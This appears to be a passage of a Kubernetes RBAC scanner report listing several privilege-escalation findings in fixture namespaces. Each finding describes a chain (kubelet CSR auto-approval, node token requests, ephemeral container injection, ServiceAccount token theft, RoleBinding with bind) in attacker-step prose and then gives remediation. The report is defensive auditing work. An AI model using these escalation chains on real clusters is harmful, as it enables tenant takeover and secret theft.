Scope · Namespace Source ServiceAccount/nodeid-fixtures/nodeid-joiner → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-joiner Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/nodeid-fixtures/nodeid-joiner has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/nodeid-fixtures/nodeid-joiner → / via csr_nodeclient_autoapprove (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
2. ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/rbac-fixtures/sa-pod-create via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
4. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/nodeid-fixtures/nodeid-joiner yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/nodeid-fixtures/nodeid-joiner (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-joiner, the attacker submits a CertificateSigningRequest for the kubernetes.io/kube-apiserver-client-kubelet signer naming system:node:<name> in system:nodes (create certificatesigningrequests + create certificatesigningrequests/nodeclient). The controller manager's CSR approver asks the API server whether the requester may create certificatesigningrequests/nodeclient; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  6. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 4 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:nodeid-fixtures:nodeid-joiner (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral Namespace 6.6
ServiceAccount/privesc-fixtures/sa-ephemeral can reach namespace-admin in `cutres` in 3 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-ephemeral → namespace-admin in cutres: every workload, Secret, and ConfigMap inside cutres becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral Resource: Namespace/cutres/cutres

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a privesc path that ends at namespace-admin inside cutres. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside cutres but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
2. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cutres/cutres-detour
3. ServiceAccount/cutres/cutres-detour → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/privesc-fixtures/sa-ephemeral yields full takeover of cutres: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-ephemeral (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-pod-create via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.
  3. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cutres/cutres-detour ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  4. Acting as ServiceAccount/cutres/cutres-detour, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  5. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside cutres. They read every Secret and ConfigMap in cutres, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cutres/cutres-detour
  3. Step 3 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside cutres: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 3 (ServiceAccount/cutres/cutres-detour → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:privesc-fixtures:sa-ephemeral (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 3 (ServiceAccount/cutres/cutres-detour → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in cutres granting RBAC writes: kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in cutres whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral Namespace 6.6
ServiceAccount/privesc-fixtures/sa-ephemeral can reach namespace-admin in `deepchain-tenant` in 3 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-ephemeral → namespace-admin in deepchain-tenant: every workload, Secret, and ConfigMap inside deepchain-tenant becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral Resource: Namespace/deepchain-tenant/deepchain-tenant

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a privesc path that ends at namespace-admin inside deepchain-tenant. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside deepchain-tenant but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
2. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder via pod_create_token_theft (create pods): can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
3. ServiceAccount/deepchain-tenant/deepchain-binder → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/privesc-fixtures/sa-ephemeral yields full takeover of deepchain-tenant: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-ephemeral (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-pod-create via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.
  3. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/deepchain-tenant/deepchain-binder ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  4. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  5. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside deepchain-tenant. They read every Secret and ConfigMap in deepchain-tenant, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
  3. Step 3 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside deepchain-tenant: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 3 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:privesc-fixtures:sa-ephemeral (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 3 (ServiceAccount/deepchain-tenant/deepchain-binder → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in deepchain-tenant granting RBAC writes: kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in deepchain-tenant whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral Namespace 6.6
ServiceAccount/privesc-fixtures/sa-ephemeral can reach namespace-admin in `rbac-ns-fixtures` in 3 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-ephemeral → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
2. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
3. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/privesc-fixtures/sa-ephemeral yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-ephemeral (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-pod-create via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.
  3. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  4. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  5. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  3. Step 3 of 3 RoleBinding write access plus bind modify_role_binding

